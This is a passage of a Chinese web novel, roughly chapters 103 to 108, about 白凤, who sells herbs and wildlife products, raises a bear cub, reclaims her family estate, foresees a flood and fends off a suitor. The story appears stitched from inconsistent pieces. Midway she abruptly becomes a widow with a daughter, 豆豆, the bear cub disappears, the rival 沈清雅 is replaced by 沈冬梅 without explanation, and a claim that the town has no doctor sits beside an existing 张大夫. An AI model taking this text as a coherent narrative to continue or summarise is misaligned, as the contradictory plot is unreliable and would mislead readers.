这次她没往常去的那片山坡,而是直奔更深的林子。昨天在镇上听人说起,郡城里有家药铺专收稀罕货,价钱比镇上高出三倍不止。她盘算着,要是能多采些好东西,说不定能攒够换房子的银子。 大黄狗屁颠屁颠跟在后头,时不时冲进草丛里扑腾几下,吓得野鸡乱飞。 “别闹。”白凤拍了拍它的脑袋。 山里雾气重,露水打湿了裤脚。白凤手脚麻利地翻找着,何首乌、灵芝、天麻,凡是值钱的她都不放过。竹篓很快就装了大半,压得肩膀生疼。 太阳升到半空时,她终于下了山。 回到家里,白凤把草药仔细分拣好,用布包裹严实。这些东西金贵,可不能磕碰坏了。收拾妥当后,她换了身干净衣裳,带上大黄狗就往郡城赶。 郡城离镇子有二十多里路,走到时已是午后。 城门口人来人往,白凤跟着人流进了城。街道比镇上宽敞得多,两边店铺林立,叫卖声此起彼伏。她按着打听来的地址,找到了那家“济世堂”。 药铺掌柜是个五十来岁的老者,山羊胡,戴着老花镜。他接过白凤递来的草药,一样样仔细查看。 “这何首乌品相不错,年份也够。”掌柜点点头,“还有这灵芝,野生的,难得。” 白凤站在一旁,手心微微出汗。 掌柜放下放大镜,抬头看她:“姑娘好眼力,这些药材都是上品。我给你二十两银子,如何?” 二十两!白凤心里一喜,面上却不动声色:“掌柜的,这可都是我冒着危险从深山里采来的。” “那你说个数。” “三十两。” 掌柜捋了捋胡子,笑起来:“姑娘会做生意。成,就三十两。不过你要是以后还能弄到这样的好货,尽管送来,价钱好商量。” 白凤接过银子,沉甸甸的,心里踏实了不少。 出了药铺,天色已晚。她寻了家小摊,买了两个肉饼,一个自己吃,一个喂大黄狗。正准备往回走,突然从巷子里窜出三个人,拦住了去路。 为首的是个麻脸汉子,斜眼打量着她:“小娘子,一个人走夜路不安全啊。” 白凤往后退了一步,护住怀里的银子。 “识相的把银子交出来,大爷们饶你一命。”另一个瘦高个嘿嘿笑着,露出一口黄牙。 大黄狗呲起牙,喉咙里发出低吼。 “还有条狗?”麻脸汉子啐了一口,“一起收拾了。” 话音刚落,大黄狗猛地扑了上去,一口咬住麻脸汉子的小腿。汉子惨叫一声,抬脚就踹。白凤趁机往旁边跑,却被瘦高个一把揪住衣领。 “往哪跑!” 就在这时,一道黑影从屋顶落下,动作快得只能看见残影。瘦高个还没反应过来,就被一脚踹飞,撞在墙上滑了下去。 黑甲侍卫现出身形,面无表情地看着剩下两人。 麻脸汉子顾不上腿上的伤,连滚带爬地跑了。另一个更是吓得屁滚尿流,连武器都不要了。 白凤拍了拍胸口,看向黑甲侍卫:“多谢。” 黑甲侍卫没说话,只是点了点头,转身消失在夜色中。 白凤知道,这是尉迟深派来保护她的人。虽然她不愿回京城,但这份心意,她记下了。 回到镇上时,月亮已经挂在树梢。白凤摸了摸怀里的银子,嘴角不自觉地翘起来。有了这笔钱,她终于可以换个像样的房子了。 第二天一早,白凤就去找了牙行。 镇上有几处空宅子,她挑了个靠近山脚的小院。院子不大,但有三间屋子,还带个小菜园。最重要的是,离山近,以后采药方便。 “十五两银子,不能再少了。”牙人说。 白凤爽快地付了钱,拿到了地契。 搬家那天,舅妈站在门口,阴阳怪气地说:“哟,发财了啊,都能买房子了。” 白凤没理她,抱着铺盖就走了。 新房子虽然旧了些,但收拾收拾还能住。白凤擦洗了一整天,总算把屋子弄得干净整洁。大黄狗在院子里撒欢,尾巴摇得跟拨浪鼓似的。 晚上躺在新床上,白凤盯着房梁发呆。 银子花得差不多了,得想办法再挣些。可光靠采药,总不是长久之计。她想起郡城掌柜的话,要是能弄到更稀罕的东西,价钱肯定更高。 山里什么最值钱? 白凤脑子里突然冒出一个念头——熊胆。 听说熊胆能治百病,一颗就能卖上百两银子。镇上有个磨房沟,据说里面有黑熊出没,只是没人敢进去。 她翻身坐起来,越想越觉得可行。 大黄狗虽然厉害,但对付黑熊还是差了点。要是能弄只熊崽回来养着,以后不就多了个保镖? 打定主意后,白凤开始做准备。她找铁匠打了把锋利的柴刀,又备了些干粮和绳索。三天后的清晨,她带着大黄狗出发了。 磨房沟在山的最深处,平时连猎户都不愿去。白凤走了大半天,才找到那条隐蔽的山道。 越往里走,树木越密,光线越暗。地上到处是动物的脚印,还有些白骨散落在草丛里。大黄狗紧紧跟在她身边,耳朵竖得老高。 突然,前方传来一阵窸窸窣窣的声音。 白凤停下脚步,握紧了柴刀。 一只硕大的黑熊从树后走出来,足有两人高。它晃着脑袋,鼻子嗅了嗅空气,猛地转向白凤这边。 白凤头皮发麻,正要后退,却看见黑熊身后的树洞里,有个人影。 那人穿着破旧的长袍,趴在地上一动不动。白凤眯起眼睛,认出那是镇上的赤脚郎中。 原来这老东西跟踪她,想偷学采药的门道,结果自己送了命。 黑熊低吼一声,朝郎中的尸体扑过去。白凤趁机绕到树洞另一边,果然看见两只毛茸茸的熊崽,正缩在角落里瑟瑟发抖。 机会来了。 她蹑手蹑脚地靠近,伸手抓住其中一只。熊崽挣扎着,发出尖细的叫声。白凤顾不上那么多,抱起熊崽就跑。 身后传来黑熊暴怒的吼声,地面都跟着震动。 白凤拼命往外跑,大黄狗在前面开路。她能听见黑熊追来的声音,越来越近,越来越近—— 就在黑熊的爪子快要够到她时,一支箭矢破空而来,钉在黑熊脚边。 黑熊吃痛,停下脚步。 白凤回头看了一眼,黑甲侍卫站在树上,手里还搭着第二支箭。 她不敢耽搁,抱着熊崽冲出了磨房沟。 第104章 累得腿都软了 回到家时,白凤累得腿都软了。 熊崽在怀里拱来拱去,小爪子抓得她胳膊生疼。她把它放在院子里,找了个木盆装上水,又切了些肉喂它。 熊崽大概饿坏了,埋头就吃,吃完还用湿漉漉的鼻子蹭她的手。 “以后你就叫小黑。”白凤摸了摸它的脑袋。 大黄狗凑过来闻了闻,熊崽立刻炸毛,挥着小爪子乱拍。大黄狗被拍了一下,委屈地退到一边,趴在地上看着。 白凤笑起来,这俩活宝。 接下来几天,她专心在家养熊崽。小黑长得飞快,胃口也大得惊人,一天要吃好几斤肉。白凤手里的银子又见底了,只好又去山里采药。 这天她刚从郡城卖药回来,就听见院子里传来尖叫声。 白凤扔下竹篓冲进去,看见王婆子捂着胳膊,坐在地上嚎啕大哭。小黑蹲在她面前,嘴边还挂着血丝。 “怎么回事?”白凤皱眉。 “你这死丫头养的什么东西!”王婆子指着小黑,眼泪鼻涕糊了一脸,“我就是想看看,它就咬我!” 白凤扫了一眼院子,篱笆被扒开了一个口子。 “你翻墙进来的?” “我……我……”王婆子说不出话。 白凤冷笑:“我看你是想偷东西吧。小黑做得对,就该咬你。” “你还有理了!”王婆子爬起来,捂着伤口就往外跑,“我去找里正评理去!” 白凤没拦她,转身检查小黑有没有受伤。熊崽乖乖地让她摸,还伸出舌头舔她的手指。 “干得好。”白凤揉了揉它的耳朵。 没过多久,王婆子果然带着人来了。 除了里正,还有舅妈和几个街坊邻居。舅妈一进门就开始数落:“你说你一个姑娘家,养什么熊!这要是伤了人,你赔得起吗?” “她偷东西在先。”白凤说。 “我没偷!”王婆子叫起来,“我就是路过,看见院子里有动静,想进来看看。” “那你扒篱笆干什么?” 王婆子噎住了。 里正咳嗽一声:“白凤啊,王婆子确实不对,但你养这么危险的东西,也不合适。万一哪天跑出去伤了人,可怎么办?” “我会看好它的。” “你一个小姑娘,能看住?”舅妈冷哼,“我看你就是想害人!这镇上还能不能住了?” 街坊们也跟着议论起来,你一言我一语,都说白凤不该养熊。 白凤攥紧拳头,正要说话,院门突然被推开。 舅舅风尘仆仆地走进来,身上还带着泥土。他在外面做工,半个月才回来一次。 “吵什么?”舅舅扫了一圈,“大老远就听见你们的声音。” 舅妈立刻换了副嘴脸,上前拉住他的袖子,添油加醋地把事情说了一遍。 舅舅听完,看向白凤:“真养了熊?” “嗯。”白凤点头。 “咬人了?” “她先翻墙进来的。” 舅舅沉默了一会儿,转向王婆子:“你胳膊让我看看。” 王婆子伸出胳膊,上面有几道浅浅的抓痕,连血都没怎么流。 “就这?”舅舅皱眉,“你叫得跟杀猪似的,我还以为断了呢。” “这……这也是伤啊!”王婆子理亏,声音小了下去。 舅舅从怀里掏出几个铜板,塞给她:“拿去买药,以后别乱进人家院子。” 王婆子接过钱,灰溜溜地走了。 舅妈不乐意了:“你这是什么意思?胳膊肘往外拐?” “她确实不对在先。”舅舅说,“再说了,白凤一个人住,养条狗养只熊,也是为了安全。” “那要是伤了别人呢?” “我会看好的。”白凤说,“而且小黑很乖,不会乱咬人。” 舅舅看了看院子里的熊崽,又看了看白凤,最后叹了口气:“行,你留着吧。但你得保证,别让它出去乱跑。” “我保证。” 里正见事情解决了,也带着人散了。舅妈还想说什么,被舅舅拉走了。 院子里终于安静下来。 白凤蹲在小黑面前,摸了摸它的脑袋:“以后得小心点,别让人抓住把柄。” 小黑歪着头看她,眼睛黑亮黑亮的。 接下来的日子,白凤更加谨慎。她加固了篱笆,还在院子周围种了一圈荆棘。小黑长得很快,不到一个月就有半人高了,力气也大得惊人。 有了小黑和大黄狗,白凤胆子也大了起来。她开始往更深的山里去,采到的药材也越来越稀罕。 郡城济世堂的掌柜见她次次都能弄来好东西,干脆跟她定了长期合作。 “白姑娘,你要是能弄到鹿茸、麝香这些,我出双倍价钱。”掌柜说。 白凤心里一动:“只要有人出价,什么都能弄?” “那当然,只要是真货。” 白凤琢磨开了。 山里不光有药材,还有各种野味。鹿茸、麝香、熊胆,这些东西在郡城都是抢手货。她要是能专门供应这些,肯定比采药挣得多。 打定主意后,白凤开始行动。 她先去山里踩点,记下哪里有鹿群,哪里有麝香出没。然后带着小黑和大黄狗,一点点地收集这些东西。 小黑力气大,能帮她搬运重物。大黄狗鼻子灵,能找到藏得很深的猎物。一人两兽配合得天衣无缝,收获颇丰。 半个月后,白凤带着一大包货去了郡城。 掌柜打开包裹,眼睛都亮了:“这么多!白姑娘,你可真是能人。” “掌柜的满意就好。” “满意,太满意了!”掌柜数出一百两银子,“这是定金,你以后有多少,我收多少。” 白凤接过银子,心里乐开了花。 有了这条路子,她再也不用为银子发愁了。 京城,尉迟府。 黑甲侍卫单膝跪地,低声禀报:“主子,白姑娘在镇上安顿下来了,还买了房子。” 尉迟深坐在书案后,手里拿着一卷兵书,头也没抬:“她可说了什么?” “没有。” “知道了,你下去吧。” 黑甲侍卫退出去,房间里重新安静下来。 尉迟深放下书,看向窗外。他以为白凤会回心转意,至少会托人带句话回来。可她什么都没说,就那么安安静静地在小镇上过日子。 “主子。”门外传来侍女的声音,“沈小姐来了。” 尉迟深皱眉:“让她进来。” 沈清雅款款走进来,行了个礼:“尉迟公子。” “沈小姐有事?” “听说公子最近心情不好,清雅特意来看看。”沈清雅笑得温柔,“不知是否方便?” 尉迟深没说话,算是默许了。 第105章 没喝 沈清雅坐下,斟了杯茶递过去:“公子可是在想那位白姑娘?” 尉迟深接过茶杯,没喝。 “清雅听说,那位白姑娘在镇上养了熊,还差点伤了人。”沈清雅轻声说,“这样的女子,实在不适合公子。” “你从哪里听来的?” “府里的下人说的。”沈清雅垂下眼睛,“清雅也是担心公子,才多嘴了几句。” 尉迟深放下茶杯,声音冷了几分:“沈小姐,我的事不劳你费心。” 沈清雅脸色一白,勉强笑道:“是清雅逾矩了。” “你回去吧。” 沈清雅咬了咬唇,起身告退。 走出尉迟府,她脸上的温柔彻底消失,取而代之的是怨毒。一个乡下丫头,凭什么让尉迟深念念不忘?她沈家世代官宦,自己琴棋书画样样精通,哪点比不上那个白凤? “小姐。”身边的丫鬟小声说,“要不要……” “不用。”沈清雅冷笑,“她自己会把路走绝的。” 镇上,白凤并不知道京城发生的事。 她正忙着处理新收的货。这次运气好,在山里碰见一头死去的麝,取了不少麝香。还有几根品相极好的鹿茸,拿到郡城肯定能卖个好价钱。 “白凤!”院门被拍得砰砰响。 白凤放下手里的东西,去开门。门外站着镇上的张大夫,满脸焦急。 “张大夫,怎么了?” “我儿子病了,高烧不退。”张大夫抓住她的手,“你上次给我的那种草药还有吗?” 白凤想了想:“你说的是金银花?” “对对对,就是那个!” “有,你等着。” 白凤转身进屋,拿了一大把金银花出来。张大夫接过,千恩万谢地走了。 自从赤脚郎中死后,镇上就没了大夫。张大夫虽然懂些医术,但药材不全,很多病都治不了。白凤手里的草药种类多,镇上人有个头疼脑热的,都会来找她。 一来二去,她在镇上的名声反而好了起来。 这天,白凤又去郡城送货。 济世堂的掌柜见了她,笑得合不拢嘴:“白姑娘,你可算来了。有个大客户点名要你的货,价钱随便开。” “什么客户?” “京城来的贵人,要办寿宴,需要大量珍贵药材和补品。”掌柜压低声音,“这可是个大买卖,你要是能接下来,少说也有几百两银子。” 白凤眼睛一亮:“需要什么?” 掌柜递过来一张单子,上面密密麻麻写了十几样东西。白凤扫了一眼,大部分都能弄到,只有两样比较麻烦。 “给我十天时间。” “没问题!”掌柜拍着胸脯保证,“白姑娘,这次要是办成了,以后你在郡城就是响当当的人物了。” 白凤拿着单子回了镇上,开始筹备。 她把需要的东西分了类,有些能在山里找到,有些得去更远的地方。小黑现在已经长到一人多高,力气大得能扛起一头野猪,正好派上用场。 接下来的日子,白凤起早贪黑地往山里跑。 有一次,她在悬崖边采药,脚下一滑,差点掉下去。幸好小黑眼疾手快,一把咬住她的衣服,硬生生把她拽了回来。 “谢了。”白凤拍了拍小黑的脑袋,心里暖洋洋的。 还有一次,她遇到一群野狼。大黄狗和小黑并肩作战,硬是把狼群赶跑了。白凤看着一人两兽,突然觉得,这样的日子也挺好。 十天后,白凤带着所有东西去了郡城。 掌柜验货后,激动得手都在抖:“全齐了!白姑娘,你可真是神人!” “说好的价钱呢?” “五百两,一文不少!” 白凤接过银票,心里乐开了花。有了这笔钱,她可以把院子再扩大些,还能给小黑和大黄狗盖个窝。 正准备离开,掌柜突然叫住她:“白姑娘,那位贵人说了,以后有需要还会找你。你可得留个联系方式。” 白凤想了想,留下了镇上的地址。 回到镇上时,天已经黑了。白凤推开院门,看见小黑和大黄狗正趴在门口等她。 “饿了吧?”她笑着摸了摸它们,“今天给你们加餐。” 切了一大盆肉,两个家伙吃得欢快。白凤坐在院子里,看着满天星星,心里前所未有的平静。 京城的繁华,尉迟深的深情,那些都离她很远了。现在的她,只想守着这个小院子,和小黑、大黄狗一起,过简单安稳的日子。 至于以后会怎样,谁知道呢。 反正日子还长,慢慢过就是了。 白凤这个名字,在镇上传开了。 起初只是几个妇人私下议论,说城西那个寡妇会看病,手段了得。后来连药铺的掌柜都坐不住了,专程跑来打听,想看看是哪路神仙抢了他的生意。 豆豆最近胖了一圈。 小姑娘坐在院子里,怀里抱着只兔子,手边摆着半碟糕点。她一口一个吃得欢快,兔子也跟着啃胡萝卜,一人一兔吃得津津有味。 “娘,今天又有人送东西来了。”豆豆嘴里塞着糕点,含糊不清地说。 白凤正在院子里晾药材,闻言头也不抬:“收下就是,记得道谢。” “可是咱们家都快堆不下了。”豆豆咽下糕点,“昨天李婶子送了两只鸡,前天王大娘送了一篮子鸡蛋,今天又来了三斤猪肉。” 白凤这才直起腰,看了眼堆满杂物的屋檐下,笑了:“那就分给邻居们,咱们吃不完。” 豆豆点点头,又问:“娘,你说沈家那边会不会生气?” “生气就生气。”白凤拍拍手上的灰,“咱们又没招惹他们。” 话音刚落,院门就被人敲响了。 豆豆跑去开门,门外站着个陌生的小厮,穿着体面,神色倨傲:“你家主人在吗?” “我娘在。”豆豆往后退了一步,“你找她有事?” 小厮没理她,直接越过豆豆往院子里走。白凤皱眉,拦在他面前:“谁家的规矩,进门不通报?” “我家主人让我来传话。”小厮扬着下巴,“沈家大娘子请你过去一趟,说有要事相商。” 白凤冷笑:“沈家?哪个沈家?” “自然是镇上的沈家。”小厮不耐烦,“我家大娘子说了,你最好识相点,别敬酒不吃吃罚酒。” 豆豆躲在白凤身后,小声说:“娘,就是那个害咱们的沈家。” 白凤心里明白了。沈冬梅这是坐不住了,看她日子过得好,心里不痛快。 “回去告诉你家主人,我没空。”白凤转身就走,“送客。” 小厮愣了愣,没想到她这么不给面子。他恼羞成怒,指着白凤的背影:“你别不识抬举!我家大娘子可是县令夫人的表妹,得罪了她,你在这镇上还想不想混了?” 第106章 大人,快走吧! 县衙大堂内,知县李大人瘫坐在太师椅上,脸色灰败如死灰。 堂下跪着一排衙役,个个低着头不敢吭声。案桌上摆着从库房搜出的账本,密密麻麻记录着这些年贪墨的银两数目,触目惊心。 “大人,快走吧!”师爷钱文从后堂窜出来,手里攥着个包袱,“再不走就来不及了!” 李大人抬起眼皮看他,嘴唇哆嗦半天才挤出一句:“往哪走?” “哪都行,先离开这是非之地再说。”钱文急得直跺脚,外头已经传来巡抚大人的车马声。 李大人苦笑:“我这把老骨头,还能跑到哪去?” 钱文见劝不动,一咬牙扔下包袱就往后门跑。衙役们面面相觑,谁也没拦。等巡抚大人带着人马进来时,只剩下李大人一个人坐在堂上,像尊泥塑的神像。 消息传开,整个县城都炸了锅。 沈家后宅,沈冬梅正抱着才满月的孩子喂奶。丫鬟慌慌张张跑进来:“小姐,不好了!老爷出事了!” 沈冬梅手一抖,孩子哇地哭了起来。 “什么事?”她强撑着问。 “老爷被抓了,说是贪污受贿,要抄家问斩!” 沈冬梅眼前一黑,差点晕过去。怀里的孩子哭得更凶,她机械地拍着,脑子里一片空白。嫁给李大人做小妾这些年,她早知道他不干净,可从没想过会有这一天。 “小姐,咱们怎么办?”丫鬟哭着问。 沈冬梅咬咬牙:“去,给我舅舅送信。” 她舅舅在府城做官,虽然官不大,但总归有些人脉。现在只能死马当活马医,看能不能保住一家老小的性命。 白凤是第二天才听说这事的。 她正在院子里喂鸡,豆豆蹲在旁边帮忙撒米。小丫头长高了些,脸上也有了肉,不像刚来时那副营养不良的样子。 “娘,那些鸡怎么老打架?”豆豆指着鸡群问。 白凤看过去,几只鸡正扑腾着翅膀互相啄,羽毛飞得到处都是。 “大概是抢食吧。”她随口答道。 这时王婆子从外头进来,一脸兴奋:“白姑娘,听说了吗?县太爷完了!” 白凤手上动作一顿:“什么?” 王婆子添油加醋把事情说了一遍,末了还补充:“那师爷跑了,现在到处在抓呢。沈家小姐带着孩子,也不知道能不能保住命。” 白凤没说话,心里却在盘算。 李大人倒台,对她来说倒是个机会。当初白家的祖产被李大人巧取豪夺,现在正好可以要回来。 “豆豆,咱们进屋。”她拉起孩子往里走。 王婆子还想说什么,见她不理,悻悻地走了。 白凤回到屋里,翻出一个木匣子。里面放着白家的地契房契,都是父亲留下的。她仔细看了一遍,心里有了数。 第二天一早,她就去了县衙。 新来的代理知县姓张,是个四十来岁的中年人,看着倒是和气。白凤递上状纸,说明来意。 张大人翻看地契,又查了卷宗,点点头:“确实是你家的产业。既然李大人已经伏法,这些自然要归还原主。” 白凤松了口气,没想到这么顺利。 “不过。”张大人话锋一转,“这宅子现在住着李家的人,你要收回去,得给他们安置的时间。” “应该的。”白凤答应得爽快。 她不是那种赶尽杀绝的人,给沈冬梅母子留条活路也无妨。反正那宅子她另有用处,不急这一时。 办完手续出来,白凤心情不错。祖产失而复得,父亲在天之灵也能安心了。 她正要回家,迎面碰上沈冬梅。 沈冬梅抱着孩子,身后跟着个丫鬟,脸色憔悴得吓人。看见白凤,她愣了一下,随即低下头想绕过去。 “沈姑娘。”白凤叫住她。 沈冬梅停下脚步,眼圈红红的:“白姑娘有事?” “听说你舅舅出面保下了你们?”白凤问。 沈冬梅点点头,声音哽咽:“舅舅说,我和孩子无辜,求了巡抚大人开恩。李家的财产充公,我们母子可以留条命。” 白凤看着她怀里的婴儿,小小一团,睡得正香。 “那就好。”她说,“祖宅我要收回来,不过你们可以先住着,等找到落脚的地方再搬。” 沈冬梅抬起头,眼里闪过惊讶:“你……” “我不是什么善人,只是不想为难你们母子。”白凤打断她,“李大人的事跟你们无关,我分得清。” 沈冬梅眼泪掉下来:“谢谢,谢谢你。” 白凤摆摆手走了。她确实不想为难沈冬梅,一个带着孩子的女人,日子已经够难了。 回到家,豆豆正在院子里玩。白凤把她叫过来:“豆豆,咱们要搬家了。” “搬去哪?”豆豆眨眨眼。 “搬去一个大房子,有很大的院子,可以养好多小动物。”白凤笑着说。 豆豆高兴得跳起来:“真的吗?可以养小狗吗?” “可以,还可以养小猫,小兔子,你想养什么都行。” 豆豆欢呼一声,跑去告诉邻居家的孩子。白凤看着她的背影,嘴角带着笑。 这孩子跟着她,总算是有了个家。 接下来几天,白凤开始收拾东西准备搬家。她把现在住的小院子腾出来,打算专门用来收养那些被遗弃的动物。 镇上流浪猫狗不少,还有些人家养不起的牲口,与其让它们自生自灭,不如给个安身之所。 王婆子听说了,又来找她:“白姑娘,你这是要开善堂啊?” “算不上善堂,就是给它们个住处。”白凤说。 “那可要花不少钱呢。”王婆子啧啧道。 白凤没接话。她手里有些积蓄,养几只动物还是养得起的。再说,她心里还有别的打算。 搬家那天,沈冬梅带着丫鬟来帮忙。白凤本想拒绝,但看她一脸诚恳,也就由她去了。 新宅子比想象中还要大,三进的院子,房间足有十几间。白凤让豆豆挑了间朝南的屋子,自己住在主屋,其余的房间空着。 “这么大的地方,就你们娘俩住?”沈冬梅问。 “还有那些小动物。”白凤指指院子,“我打算把它们都接过来。” 沈冬梅看看她,欲言又止。 “有话就说。”白凤道。 “我……”沈冬梅咬咬嘴唇,“我能不能在这帮你做事?不要工钱,只求有口饭吃。” 白凤愣了一下。 “我知道我没脸求你。”沈冬梅低下头,“可是我真的走投无路了。舅舅虽然保下我们,但他自己日子也不好过,不能一直接济我。我一个女人带着孩子,出去做工也没人要……” 她说着说着,眼泪又掉下来。 白凤沉默片刻:“你会做什么?” “我会针线,会做饭,粗活细活都能干。”沈冬梅急忙说。 “那行,你就留下吧。”白凤说,“照顾那些动物,帮我打理院子,每月给你二两银子。” 沈冬梅简直不敢相信:“真的?” “我说话算话。”白凤看着她,“不过丑话说在前头,你要是偷奸耍滑,我可不会留情。” “不会的,绝对不会!”沈冬梅连连保证。 第107章 热闹起来 就这样,沈冬梅母子也住进了白家。白凤给她们安排了偏院的两间屋子,离主屋有段距离,互不打扰。 安顿好后,白凤开始着手收养动物的事。 她先去了趟镇上,找到几户养不起牲口的人家,把他们的猫狗都接了回来。又去了野外,捡回几只受伤的鸟。 没几天,院子里就热闹起来。 三只狗,五只猫,两只兔子,还有几只鸡鸭鹅,外加那几只养伤的鸟。白凤给它们分了区域,狗住东厢房,猫住西厢房,兔子有个单独的笼子,鸡鸭鹅在后院。 本以为这样就能相安无事,结果第一天晚上就出了状况。 半夜里,院子里传来一阵鸡飞狗跳的声音。白凤披着衣服出来,就看见一只黄狗正追着猫满院子跑,猫跳上了鸡窝,惊得鸡们咯咯乱叫,兔子在笼子里蹦来蹦去,鸭子嘎嘎叫个不停。 “都给我停下!”白凤喊了一声。 动物们听见她的声音,总算消停了些。黄狗蹲在地上,尾巴一摇一摇的,一副无辜的样子。猫趴在鸡窝顶上,瞪着绿莹莹的眼睛。 白凤哭笑不得。 这些家伙,语言不通,习性不同,关在一起不打架才怪。 “娘,怎么了?”豆豆揉着眼睛出来。 “没事,它们在玩。”白凤说,“你回去睡吧。” 豆豆看看那些动物,咯咯笑起来:“它们好好玩。” 白凤叹口气。看来得想个办法,让这些家伙和平共处才行。 第二天,她找来木匠,在院子里搭了几个棚子,把不同种类的动物隔开。又立了规矩,每天固定时间喂食,其余时候各待各的地方。 沈冬梅帮着照料,倒也尽心尽力。她对动物有耐心,喂食的时候轻声细语,连那只最凶的黄狗都被她驯服了。 “你很会照顾它们。”白凤夸道。 沈冬梅脸一红:“我小时候家里养过狗,有些经验。” 日子就这样一天天过去。院子里的动物越来越多,白凤又陆续收养了几只,连流浪的老马都接了一匹回来。 豆豆每天最开心的事就是跟这些动物玩,小丫头胆子大,什么都不怕。白凤看着她笑得开心,心里也暖暖的。 这天傍晚,白凤正在喂马,忽然听见门外有人敲门。 沈冬梅去开门,回来时脸色有些古怪:“白姑娘,有个公子找你。” “什么公子?”白凤皱眉。 “说是姓尉迟。” 白凤手上动作一顿。 尉迟深?他怎么又来了? 尉迟深站在门外,身上还带着风尘仆仆的样子。看见白凤出来,他眼睛一亮,上前两步:“白姑娘。” “你来做什么?”白凤语气不善。 尉迟深愣了一下,随即苦笑:“我知道你对我有误会……” “什么误会?我跟你很熟吗?”白凤打断他,“尉迟公子,我们之间没什么好说的,你还是请回吧。” “白姑娘,你听我解释。”尉迟深急道,“之前的事都是误会,是那位官家小姐从中作梗……” “我不想听。”白凤转身就走。 尉迟深追上去,被白凤一个眼神瞪了回去。他站在原地,看着白凤的背影消失在院子里,脸上满是无奈。 沈冬梅站在一旁,小声问:“要不要关门?” 尉迟深叹口气:“关吧。” 门在他面前关上,尉迟深站了一会,最后还是离开了。 白凤回到屋里,心里烦躁得很。 她对尉迟深真的没什么感觉,当初在京城的那些事,她早就忘得一干二净。现在他突然跑来说什么误会,她根本不想理会。 “娘,那个哥哥是谁?”豆豆好奇地问。 “不认识的人。”白凤说。 豆豆哦了一声,又去玩她的小兔子了。 接下来几天,尉迟深每天都来,每次都被白凤拒之门外。他也不恼,就在门外站一会,然后离开。 镇上的人都看出来了,开始议论纷纷。 “那公子是谁啊?天天来找白姑娘。” “看着像个有钱人家的少爷。” “白姑娘可真有福气,这么好的公子追着她。” 白凤听了这些话,更加烦躁。她找到尉迟深,直截了当地说:“你别再来了,我不会跟你回京城的。” 尉迟深看着她:“我没想让你回京城。” 白凤一愣:“那你来做什么?” “我想留在这。”尉迟深说,“我想弄清楚当初到底发生了什么,为什么你会对我这么冷淡。” “没什么好弄清楚的。”白凤说,“我们本来就不熟,你走你的阳关道,我过我的独木桥,互不相干。” 尉迟深沉默片刻:“如果我说,我查到了当初那位官家小姐做的事,你愿意听吗?” 白凤犹豫了一下,还是摇头:“不想听,过去的事就让它过去吧。” 她转身要走,尉迟深在身后说:“白姑娘,我知道你不信我,但我真的没有做对不起你的事。那位小姐嫉妒你,故意在我们之间挑拨离间,我当时不知情,现在才明白过来……” “够了。”白凤打断他,“尉迟公子,我不是因为那些事才不理你。我只是单纯地对你没兴趣,明白吗?” 尉迟深脸色一白。 白凤没再看他,径直走了。 这次尉迟深没有再来。白凤以为他终于死心了,心里松了口气。 可是没过几天,镇上就传来消息,说北边要发大水。 白凤听到这个消息,心里一紧。她前世经历过这场水灾,知道有多严重。整个镇子都被淹了,死了不少人,灾后又是瘟疫,简直是人间地狱。 她必须做点什么。 白凤找到镇长,把情况说了一遍。镇长起初不信,觉得她危言耸听,但白凤说得有理有据,他也不敢大意,派人去北边查看。 果然,河水已经涨了不少,照这个趋势,用不了几天就会决堤。 镇长慌了,赶紧组织人手修堤坝,又让百姓准备撤离。 白凤也没闲着,她把家里的粮食都搬到高处,又帮着邻居们转移东西。豆豆和沈冬梅也跟着忙活,连那些动物都被转移到了安全的地方。 就在这时,尉迟深又出现了。 他带着一队人马,还有大量的物资,说是来帮忙救灾的。 白凤看见他,心里五味杂陈。 “你怎么还在这?”她问。 “我准备回京城,走到半路听说这边要发水灾,就折返回来了。”尉迟深说,“我不能眼睁睁看着这么多人受灾。” 白凤沉默了。 她本以为尉迟深是个纨绔子弟,没想到他还有这份担当。 “需要帮忙吗?”尉迟深问。 白凤点点头:“需要。” 两人之间的隔阂似乎消解了一些。尉迟深带着人手加固堤坝,白凤则组织百姓撤离。沈冬梅帮着照顾老弱妇孺,豆豆虽然小,也跟着跑前跑后送水送饭。 第108章 眼里有光 三天后,大水真的来了。 河水咆哮着冲下来,堤坝在巨大的水压下摇摇欲坠。尉迟深带着人拼命加固,白凤也卷起袖子上去帮忙。 “你回去!”尉迟深喊道,“这里危险!” “少废话!”白凤抱起一袋沙土就往堤坝上扔。 尉迟深看着她,眼里闪过复杂的情绪。 堤坝最终还是决了一道口子,洪水涌进来,淹没了半个镇子。好在百姓们都撤到了高处,没有造成太大的伤亡。 灾后的镇子一片狼藉。白凤和尉迟深带着人清理淤泥,重建房屋,安置灾民。 这段时间,两人朝夕相处,白凤对尉迟深的印象也慢慢改变了。 他不是那种只会花言巧语的纨绔子弟,做起事来踏实肯干,对百姓也很有耐心。有一次,一个老婆婆的房子塌了,尉迟深亲自带人去帮她重建,累得满头大汗也不喊累。 豆豆很喜欢他,总是跟在他身后叫“尉迟哥哥”。尉迟深对豆豆也很好,经常给她带些小玩意,逗得小丫头咯咯直笑。 “娘,尉迟哥哥真好。”豆豆说。 白凤摸摸她的头,没说话。 一个月后,镇子基本恢复了秩序。尉迟深本该回京城了,但他没走,说是要留下来帮忙。 白凤也没赶他走。 两人就这样住在同一个镇子里,偶尔见面打个招呼,关系不远不近。 这天,白凤去镇上买东西,碰见了王婆子。 王婆子一看见她,脸色就变了,上来就是一通骂:“白凤,你这个丧门星!都是你害的!” 白凤莫名其妙:“我怎么了?” “我家两个闺女都死了!都是因为你!”王婆子哭天抢地,“要不是你说什么水灾,她们怎么会去帮忙?怎么会被大水冲走?” 白凤皱眉:“王婆子,你这话说得不对。我提前通知大家撤离,是为了救人,不是害人。你女儿们的事我很遗憾,但不能怪到我头上。” “就是你!就是你!”王婆子不依不饶,“你要是不说什么水灾,她们好好在家待着,怎么会出事?” 周围的人都围过来看热闹。有人劝王婆子,也有人小声议论。 “王婆子这话说得不对,白姑娘是好心。” “可是她女儿确实死了,换谁都受不了。” “那也不能怪白姑娘啊。” 王婆子越说越激动,最后竟然要动手打白凤。白凤往后退了一步,正要说什么,尉迟深突然出现,挡在她面前。 “王婆子,你冷静点。”尉迟深说,“你女儿们的死,跟白姑娘没关系。她们是为了救人才牺牲的,应该被人尊敬,而不是被你拿来当作攻击别人的理由。” “你算什么东西?也来管我的事?”王婆子骂道。 “我是朝廷命官。”尉迟深冷下脸,“你再胡搅蛮缠,我就把你抓起来。” 王婆子被他的气势镇住了,嘴里还在嘟囔,但不敢再闹了。 尉迟深拉着白凤离开,走出一段距离后才松开手。 “谢谢。”白凤说。 